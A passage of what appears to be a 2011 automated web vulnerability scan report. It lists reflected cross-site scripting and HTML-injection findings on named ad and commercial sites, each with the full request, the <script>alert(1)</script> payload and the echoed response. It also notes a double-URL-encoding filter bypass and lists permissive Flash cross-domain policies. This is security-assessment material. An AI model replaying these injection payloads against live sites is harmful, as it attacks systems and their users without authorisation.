Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_p68511049=exp=5&initExp=Mon Jan 31 16:31:23 2011&recExp=Mon Jan 31 17:13:10 2011&prad=264243128&arc=186035359&6f161<script>alert(1)</script>116bcb4cb71; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:02 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:02 2011&6f161<script>alert(1)</script>116bcb4cb71=&prad=264255445&arc=185637072&; expires=Sat 07-May-2011 13:40:02 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1296999602; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25239

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"264255445",Pid:"p68511049",Arc:"185637072",Location:
...[SNIP]...
Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&', "ar_p68511049": 'exp=5&initExp=Mon Jan 31 16:31:23 2011&recExp=Mon Jan 31 17:13:10 2011&prad=264243128&arc=186035359&6f161<script>alert(1)</script>116bcb4cb71' };
COMSCORE.BMX.Broker.GlobalConfig={
"urlExcludeList": "http://photobucket.com/$|zone.msn.com|xbox.com|www.aol.com/$|http://Webmail.aol.com/$|http://travel.aol.com/$|http://netscape.aol.com/$|http
...[SNIP]...

4.695. http://ar.voicefive.com/bmx3/broker.pli [ar_p83612734 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p83612734 cookie is copied into the HTML document as plain text between tags. The payload 737bb<script>alert(1)</script>d3335e0ecc7 was submitted in the ar_p83612734 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637072 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&737bb<script>alert(1)</script>d3335e0ecc7; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_p68511049=exp=5&initExp=Mon Jan 31 16:31:23 2011&recExp=Mon Jan 31 17:13:10 2011&prad=264243128&arc=186035359&; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:01 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:01 2011&prad=264255445&arc=185637072&; expires=Sat 07-May-2011 13:40:01 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1296999601; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25239

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"264255445",Pid:"p68511049",Arc:"185637072",Location:
...[SNIP]...
t Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&', "ar_p83612734": 'exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&737bb<script>alert(1)</script>d3335e0ecc7', "ar_p68511049": 'exp=5&initExp=Mon Jan 31 16:31:23 2011&recExp=Mon Jan 31 17:13:10 2011&prad=264243128&arc=186035359&' };
COMSCORE.BMX.Broker.GlobalConfig={
"urlExcludeList": "http://photobucket.
...[SNIP]...

4.696. http://ar.voicefive.com/bmx3/broker.pli [ar_p85001580 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p85001580 cookie is copied into the HTML document as plain text between tags. The payload 37efe<script>alert(1)</script>0b4fc9ef21a was submitted in the ar_p85001580 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637072 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_p68511049=exp=5&initExp=Mon Jan 31 16:31:23 2011&recExp=Mon Jan 31 17:13:10 2011&prad=264243128&arc=186035359&; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&37efe<script>alert(1)</script>0b4fc9ef21a; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:03 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:03 2011&prad=264255445&arc=185637072&; expires=Sat 07-May-2011 13:40:03 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1296999603; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25239

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"264255445",Pid:"p68511049",Arc:"185637072",Location:
...[SNIP]...
011&prad=55352400&cpn=4&arc=38899481&', "UID": '1d29d89e-72.246.30.75-1294456810', "ar_p85001580": 'exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&37efe<script>alert(1)</script>0b4fc9ef21a', "ar_p45555483": 'exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&', "ar_p83612734": 'exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:5
...[SNIP]...

4.697. http://c03.adsummos.net/a/e/r21719 [adsud cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c03.adsummos.net
Path:	/a/e/r21719

Issue detail

The value of the adsud cookie is copied into the HTML document as plain text between tags. The payload eb669<script>alert(1)</script>2ccf81f300f was submitted in the adsud cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /a/e/r21719?5170057 HTTP/1.1
Host: c03.adsummos.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adsuu=vmkju57YZhpA; adsud=BLU0YPLeb669<script>alert(1)</script>2ccf81f300f; adsud9=

Response

HTTP/1.1 200 OK
Server: Apache
Content-Length: 331
Content-Type: application/javascript
Set-Cookie: CMP=; expires=Fri, 06 May 2011 22:26:52 GMT; path=/; domain=.adsummos.net;
Set-Cookie: adsud9=; expires=Fri, 06 May 2011 22:26:52 GMT; path=/; domain=.adsummos.net;
ETag: "d98ff88b2ecbaa69302dcef0a5670a60:1296529755"
P3P: CP="NOI DSP COR NID CUR ADM DEV TAI PSAo PSDo OUR STP UNI COM NAV STA"
P3P: CP="NOI DSP COR NID CUR ADM DEV TAI PSAo PSDo OUR STP UNI COM NAV STA"
Cache-Control: max-age=86400
Date: Sat, 05 Feb 2011 22:26:52 GMT
Connection: close

/*

*/
ADSUD.sev({ESI_DS:"BLU0YPLeb669<script>alert(1)</script>2ccf81f300f",ESI_TSEGS:"",R_VER:"0.1.20",R_SIG_SEGS:"TT10_L-TB10_B-TS10_S-TW10_W",R_SIG_ATTR:"CP95L-TC95B-WL95W-SE93L-EA93B-NY93W-PM27W-HW26B-DJ34L-ZG57L-CW09B-KT09W-TT95L-TB95B-TS95S-TW95W",ESI_UID_EMPTY:"0"});

4.698. http://www.download32.com/go/55498/http:/resolve.iscool.net/ [REST URL parameter 2] previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.download32.com
Path:	/go/55498/http:/resolve.iscool.net/

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a95b4<a>230da93002d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /go/55498a95b4<a>230da93002d/http:/resolve.iscool.net/ HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response (redirected)

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:05:10 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
location: http:
Vary: Accept-Encoding,User-Agent
Content-Length: 142
Connection: close
Content-Type: text/html

engine.php:284__<b>$url_path_1</b>: string(24) "55498a95b4<a>230da93002d"
<br/>
engine.php:286__<b>$url_path_2</b>: string(5) "http:"
<br/>

4.699. http://www.download32.com/go/55498/http:/resolve.iscool.net/ [REST URL parameter 3] previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.download32.com
Path:	/go/55498/http:/resolve.iscool.net/

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 364ad<a>7bbef7c128b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /go/55498/http:364ad<a>7bbef7c128b/resolve.iscool.net/ HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response (redirected)

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:05:49 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
location: http:364ad<a>7bbef7c128b
Vary: Accept-Encoding,User-Agent
Content-Length: 142
Connection: close
Content-Type: text/html

engine.php:284__<b>$url_path_1</b>: string(5) "55498"
<br/>
engine.php:286__<b>$url_path_2</b>: string(24) "http:364ad<a>7bbef7c128b"
<br/>

4.700. http://www.rackspace.com/apps/email_hosting/exchange_hosting/ [IS_UASrackuid cookie] previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.rackspace.com
Path:	/apps/email_hosting/exchange_hosting/

Issue detail

The value of the IS_UASrackuid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a80ad%2527%253b5ce21070ae6 was submitted in the IS_UASrackuid cookie. This input was echoed as a80ad';5ce21070ae6 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of the IS_UASrackuid cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /apps/email_hosting/exchange_hosting/ HTTP/1.1
Host: www.rackspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: rsea_cust=1; lpUASrackuid=US4da9da571af9d6d58e6c524219e4d7f8; US4da9da571af9d6d58e6c524219e4d7f8_pagecount=1; __utmz=47003812.1296921517.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; s_sq=%5B%5BB%5D%5D; s_ppv=5; exp_last_visit=981577072; _mkto_trk=id:045-QRG-025&token:_mch-rackspace.com-1296919121081-29332; chatslidercookie=invitesent; IS_UASrackuid=US4da9da571af9d6d58e6c524219e4d7f8a80ad%2527%253b5ce21070ae6; _vis_opt_s=1%7C; livechat=instantservice; s_cc=true; PHPSESSID=4fd4e850dc445f927d55acdbc1e84403; chatslider=B; __utma=47003812.1362301340.1296919297.1296921517.1297007047.3; __utmc=47003812; exp_last_activity=1296938631; __utmb=47003812.1.10.1297007047; s_pv=rackspaceUS%3Ablog%3Ahome;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:30 GMT
Server: Apache/2.2.16 (EL)
X-Powered-By: PHP/5.2.14
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:11:30 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Set-Cookie: exp_last_visit=1296938631; expires=Mon, 06-Feb-2012 16:11:30 GMT; path=/
Set-Cookie: exp_last_activity=1297026690; expires=Mon, 06-Feb-2012 16:11:30 GMT; path=/
Set-Cookie: exp_tracker=a%3A1%3A%7Bi%3A0%3Bs%3A32%3A%22%2Femail_hosting%2Fexchange_hosting%2F%22%3B%7D; path=/
Connection: close
Content-Length: 51041

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol
...[SNIP]...
ar CFG_COOKIE_PATH        = 'rackspace.com';
           var IS_dept    = 'EA_Sales_en_US';
           if(typeof(IS_invite) == 'undefined'){
               var IS_invite    = "yes";
           }

           var altid                = 'US4da9da571af9d6d58e6c524219e4d7f8a80ad';5ce21070ae6';
       </script>
...[SNIP]...

5. Flash cross-domain policy previous next
There are 79 instances of this issue:

http://ad-emea.doubleclick.net/crossdomain.xml
http://ad.de.doubleclick.net/crossdomain.xml
http://ad.doubleclick.net/crossdomain.xml
http://ad.zanox.com/crossdomain.xml
http://api.bit.ly/crossdomain.xml
http://ar.voicefive.com/crossdomain.xml
http://au2m8.com/crossdomain.xml
http://b.voicefive.com/crossdomain.xml
http://blog.vibrantmedia.com/crossdomain.xml
http://bs.serving-sys.com/crossdomain.xml
http://cdn.manualsonline.com/crossdomain.xml
http://cdn.royale.spongecell.com/crossdomain.xml
http://cdn.w55c.net/crossdomain.xml
http://cdn.widgets.spongecell.com/crossdomain.xml
http://clk.redcated/crossdomain.xml
http://demos.us.intellitxt.com/crossdomain.xml
http://ds.serving-sys.com/crossdomain.xml
http://eisenstein.dk/crossdomain.xml
http://enterprisemediagroup.112.2o7.net/crossdomain.xml
http://external.ak.fbcdn.net/crossdomain.xml
http://feeds.feedburner.com/crossdomain.xml
http://files.video-loader.com/crossdomain.xml
http://metrics.blackberry.com/crossdomain.xml
http://metrixlablw.customers.luna.net/crossdomain.xml
http://mittwiki.ivwbox.de/crossdomain.xml
http://ping.fm/crossdomain.xml
http://platform.ak.fbcdn.net/crossdomain.xml
http://rt32.infolinks.com/crossdomain.xml
http://rt82.infolinks.com/crossdomain.xml
http://rt83.infolinks.com/crossdomain.xml
http://s.ytimg.com/crossdomain.xml
http://s3.amazonaws.com/crossdomain.xml
http://spe.redcated/crossdomain.xml
http://spongecell.com/crossdomain.xml
http://us.blackberry.com/crossdomain.xml
http://videos.video-loader.com/crossdomain.xml
http://vodpod.com/crossdomain.xml
http://www.ad4mat.de/crossdomain.xml
http://www.allvoices.com/crossdomain.xml
http://www.au2m8.com/crossdomain.xml
http://www.baselinemag.com/crossdomain.xml
http://www.hemidemi.com/crossdomain.xml
http://www.manualsonline.com/crossdomain.xml
http://www.zanox-affiliate.de/crossdomain.xml
http://www91.intel.com/crossdomain.xml
http://yasnide.ivwbox.de/crossdomain.xml
http://ziffdavisbaseline.112.2o7.net/crossdomain.xml
http://a.ligatus.com/crossdomain.xml
http://a.ligatus.de/crossdomain.xml
http://api.tweetmeme.com/crossdomain.xml
http://appcdn.wibiya.com/crossdomain.xml
http://b.static.ak.fbcdn.net/crossdomain.xml
http://chitika.com/crossdomain.xml
http://current.com/crossdomain.xml
http://d.ligatus.com/crossdomain.xml
http://developers.facebook.com/crossdomain.xml
http://friendfeed.com/crossdomain.xml
http://geo.yahoo.com/crossdomain.xml
http://googleads.g.doubleclick.net/crossdomain.xml
http://messenger.yahoo.com/crossdomain.xml
http://multiply.com/crossdomain.xml
http://officedepot.shoplocal.com/crossdomain.xml
http://posterous.com/crossdomain.xml
http://static.ak.fbcdn.net/crossdomain.xml
http://www.amazon.com/crossdomain.xml
http://www.arto.com/crossdomain.xml
http://www.bebo.com/crossdomain.xml
https://www.box.net/crossdomain.xml
http://www.dzone.com/crossdomain.xml
http://www.hyves.nl/crossdomain.xml
http://www.myspace.com/crossdomain.xml
http://www.netlog.com/crossdomain.xml
http://www.netvibes.com/crossdomain.xml
http://www.newsvine.com/crossdomain.xml
http://www.nowpublic.com/crossdomain.xml
http://www.orkut.com/crossdomain.xml
http://www.vodafone.de/crossdomain.xml
http://faves.com/crossdomain.xml
http://www.livejournal.com/crossdomain.xml

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

5.1. http://ad-emea.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /crossdomain.xml HTTP/1.0
Host: ad-emea.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 393
Last-Modified: Wed, 22 Oct 2008 17:22:36 GMT
Date: Sun, 06 Feb 2011 17:43:33 GMT

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.2. http://ad.de.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.de.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.de.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 393
Last-Modified: Wed, 22 Oct 2008 17:22:36 GMT
Date: Sun, 06 Feb 2011 17:43:28 GMT

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.3. http://ad.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 258
Last-Modified: Thu, 18 Sep 2003 19:42:14 GMT
Date: Sat, 05 Feb 2011 21:49:03 GMT

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>

...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

5.4. http://ad.zanox.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.zanox.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.zanox.com

Response

HTTP/1.1 200 OK
Content-Length: 330
Content-Type: text/xml
Last-Modified: Thu, 17 Sep 2009 16:58:09 GMT
Accept-Ranges: bytes
ETag: "5ed8c08b837ca1:4a9"
Server: Microsoft-IIS/6.0
P3P: policyref="http://ad.zanox.com/w3c/p3p.xml", CP="NOI CUR OUR STP"
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 17:37:36 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
